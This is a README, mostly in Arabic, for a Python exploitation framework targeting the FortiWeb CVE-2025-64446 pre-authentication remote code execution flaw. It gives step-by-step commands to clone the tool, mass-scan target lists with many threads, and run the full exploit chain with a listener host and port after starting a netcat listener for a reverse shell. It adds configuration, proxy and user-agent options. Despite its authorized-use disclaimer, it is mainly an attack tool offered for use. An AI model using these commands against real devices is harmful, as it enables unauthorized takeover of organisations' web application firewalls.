
Security research tool for FortiWeb CVE-2025-64446 vulnerability. Automated exploitation framework with advanced logging, real-time metrics, proxy debugging, and professional reporting. Includes retry logic, multi-threading, and configurable settings. For authorized security testing only. CVSS 9.8 Critical.
إطار عمل احترافي لأبحاث الأمن وتقييم الثغرات
التثبيت · البدء السريع · دليل الاستخدام · البنية · مرجع الأوامر · إخلاء المسؤولية
أداة أبحاث FortiWeb هي إطار تقييم مكتوب بلغة Python للكشف والتحليل المصرح به لثغرة CVE-2025-64446، وهي ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد قبل المصادقة تؤثر على أجهزة جدار حماية تطبيقات الويب FortiWeb.
| الخاصية | التفاصيل |
|---|---|
| المؤلف | Sudeepa Wanigarathna |
| CVE | CVE-2025-64446 |
| CVSS | 9.8 (حرجة) |
| التصنيف | تجاوز المصادقة + اجتياز المسار → رفع ملفات تعسفي → RCE |
| الإصدارات المتأثرة | الإصدارات الأقدم من 7.6.7 / 7.8.7 / 8.0.2 (تحقق من النشرة الرسمية) |
| المعالجة | الترقية إلى إصدار FortiWeb مصحح |
| اللغة | Python 3.7+ |
| نقطة الدخول | exploit.py |
تحقق دائمًا من الإصدارات المتأثرة/المصححة لدى Fortinet PSIRT قبل تحديد نطاق الاختبار.
| الاستخدام | نتائج الفحص |
|---|---|
![]() | ![]() |
git clone https://github.com/CerberusMrXi/FortiWeb-cve-2025-64446-RCE-exploit
cd FortiWeb-cve-2025-64446-RCE-exploit
python3 -m venv venv
source venv/bin/activate # Linux / macOS
# venv\Scripts\activate # Windows
pip install -r requirements.txt
python3 exploit.py --help
| الحزمة | الدور |
|---|---|
| , |
اختيارية (للتطوير): pytest, black, flake8, mypy, python-dotenv — انظر requirements.txt.
# Vulnerability check only (recommended first)
python3 exploit.py --target https://192.168.1.100:8443 --detect-only
# Safe / read-only checks
python3 exploit.py --target https://192.168.1.100:8443 --safe-mode
# Mass scanning
python3 exploit.py --targets targets.txt --scan-mode --threads 10
# Authorized exploitation (requires listener host)
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444
ملاحظة: يتطلب وضع الاستغلال
--lhost. استخدم--detect-onlyأو--safe-modeعندما لا تنوي تشغيل السلسلة الكاملة.
python3 exploit.py --target https://192.168.1.100:8443 --detect-only
python3 exploit.py --target https://192.168.1.100:8443 --detect-only --verbose
python3 exploit.py --target https://192.168.1.100:8443 --safe-mode
python3 exploit.py --target https://192.168.1.100:8443 --detect-only --timeout 30
يقيم وضع الكشف إمكانية الوصول، ومؤشرات الإصدار، وتعرض الواجهات البرمجية، ومؤشرات اجتياز المسار، وإشارات تجاوز المصادقة، وإمكانية الوصول إلى نقطة رفع الملفات. يُصنف الخطر على أنه حرج / مرتفع / متوسط / منخفض بناءً على تلك المؤشرات.
cat > targets.txt << 'EOF'
https://192.168.1.100:8443
https://192.168.1.101:8443
https://192.168.1.102:8443
EOF
python3 exploit.py --targets targets.txt --scan-mode
python3 exploit.py --targets targets.txt --scan-mode --threads 20 --verbose
python3 exploit.py --targets targets.txt --scan-mode --output-dir ./reports
يشغّل ScannerManager عمال FortiWebScanner عبر تجمع خيوط، ويطبع جدولًا موجزًا بتقنية Rich، ويكتب scan_report.json / scan_report.html.
# Start your listener first (example)
nc -lvnp 4444
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444 --proxy http://127.0.0.1:8080
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444 --dry-run
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444 --user-agent "Research/1.0"
# config.yaml
target: https://192.168.1.100:8443
lhost: 192.168.1.50
lport: 4444
timeout: 15
threads: 5
verify_ssl: false
verbose: true
proxy: http://127.0.0.1:8080
user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
output_dir: reports
log_dir: logs
detect_only: false
safe_mode: false
dry_run: false
python3 exploit.py --config config.yaml
python3 exploit.py --config config.yaml --target https://10.0.0.1:8443 --lport 9999
تتجاوز وسائط CLI القيم المحمّلة من YAML.
exploit.py
├── ExploitConfig / ExploitResult / RequestMetrics # dataclasses
├── LogManager # exploit.log, errors.log, requests.log
├── Banner / StatusDisplay # Rich / colorama UI
├── FortiWebScanner # detect-only checks (no exploit chain)
├── ScannerManager # threaded multi-target scans + reports
├── FortiWebExploit # single-target detect / exploit workflow
└── main() # argparse + mode dispatch
| المكوّن | المسؤولية |
|---|---|
FortiWebScanner | فحوصات إمكانية الوصول والإصدار ومؤشرات CVE |
التدفق العام لهدف واحد:
reports/exploit.log, errors.log, requests.log--threads)--no-verify)reports/
├── report_YYYYMMDD_HHMMSS.json
├── report_YYYYMMDD_HHMMSS.html
├── scan_report.json
└── scan_report.html
logs/
├── exploit.log
├── errors.log
└── requests.log
{
"metadata": {
"tool_name": "FortiWeb Research Tool",
"version": "1.0",
"author": "Sudeepa Wanigarathna",
"timestamp": "2026-07-31T00:02:17",
"mode": "detect"
},
"target": {
"url": "https://192.168.1.100:8443",
"reachable": true,
"version": "7.6.0",
"vulnerable": true,
"risk_level": "Critical"
},
"metrics": {
"total_requests": 12,
"average_response_time": 0.42,
"success_rate": 0.91
}
}
python3 exploit.py [OPTIONS]
.
├── exploit.py # Research tool (detect / scan / exploit)
├── config.yaml # Example configuration
├── requirements.txt # Python dependencies
├── reports/ # Generated JSON / HTML reports
├── logs/ # Runtime logs
├── LICENSE
├── SECURITY.md
├── .gitignore
└── README.md
--detect-only / --safe-mode بعد الترقية للتحقق من فعالية المعالجة.هذه الأداة مخصصة فقط لاختبارات الأمان المصرح بها والأبحاث والتعليم.
باستخدامك لهذا البرنامج، فأنت تؤكد أن لديك التفويض، ولن تسيء استخدامه، وتتحمل المسؤولية الكاملة عن أفعالك. المؤلف غير مسؤول عن سوء الاستخدام.
انظر SECURITY.md للإبلاغ الخاص بالثغرات المتعلقة بهذا المشروع.
git checkout -b feature/your-changeيرجى التحقق من التغييرات فقط في بيئات مختبرات مصرح بها وتجنب إجراء Commit لبيانات أهداف مباشرة أو ملفات تعريف الارتباط أو بيانات الاعتماد.
رخصة MIT — انظر LICENSE.
حقوق النشر (c) 2026 Sudeepa Wanigarathna
| المؤلف | Sudeepa Wanigarathna |
| المشكلات | GitHub Issues لهذا المستودع |
| الأمان | انظر SECURITY.md · |
أبحاث مصرح بها فقط · FortiWeb CVE-2025-64446
| الوضع | الخيارات | الغرض |
|---|
| الكشف | --detect-only | مؤشرات الثغرة دون استغلال |
| الوضع الآمن / للقراءة فقط | --safe-mode | تخطي خطوات الاستغلال المعدِّلة |
| المسح الشامل | --targets + --scan-mode | تقييم متوازٍ لأهداف متعددة |
| الاستغلال | --target + --lhost | سلسلة استغلال مُتحكم بها في مختبرات مصرح بها فقط |
| التشغيل التجريبي | --dry-run | اختبار التدفق دون تطبيق التغييرات |
| التقارير | --output-dir | تقارير JSON + HTML للاختبار |
| الحقل | القيمة |
|---|
| معرّف CVE | CVE-2025-64446 |
| درجة CVSS | 9.8 (حرجة) |
| الأثر | اختراق كامل للنظام عند نجاح الاستغلال |
| الإصلاح | الترقية إلى 7.6.7 أو 7.8.7 أو 8.0.2 أو أحدث |
| مخرجات HTML |
|---|
![]() |
requestsurllib3| عميل HTTP |
rich, colorama, tqdm | واجهة الطرفية وعرض التقدم |
pyyaml | تحميل config.yaml |
ScannerManager| مسوحات متوازية، وتجميع JSON/HTML، وجدول موجز |
FortiWebExploit | جلسة مدفوعة بالإعدادات، وإعادة محاولة، ومقاييس، وتقارير، ومسار استغلال اختياري |
LogManager | تسجيل ملفات منظم + وحدة تحكم ملونة |
| الخيار | الوصف |
|---|
--target URL | عنوان URL أساسي واحد لـ FortiWeb |
--targets FILE | قائمة أهداف مفصولة بأسطر جديدة |
--lhost IP | مضيف المستمع (مطلوب للاستغلال) |
--lport PORT | منفذ المستمع (الافتراضي: 4444) |
--config FILE | إعدادات YAML |
--detect-only | الكشف فقط؛ تجاوز سلسلة الاستغلال |
--scan-mode | مسح متعدد الأهداف (يتطلب --targets) |
--safe-mode | للقراءة فقط؛ تخطي الخطوات المعدِّلة |
--dry-run | تشغيل تجريبي دون تطبيق التغييرات |
--timeout SEC | مهلة الطلب (الافتراضي: 15) |
--threads N | عدد عمال الفحص (الافتراضي: 5) |
--proxy URL | وكيل HTTP |
--user-agent STR | User-Agent مخصص |
-v, --verbose | تسجيل / وحدة تحكم مفصّلة |
--no-verify | تعطيل التحقق من شهادة TLS |
--output-dir DIR | دليل التقارير (الافتراضي: reports) |
--log-dir DIR | دليل السجلات (الافتراضي: logs) |
-h, --help | عرض المساعدة |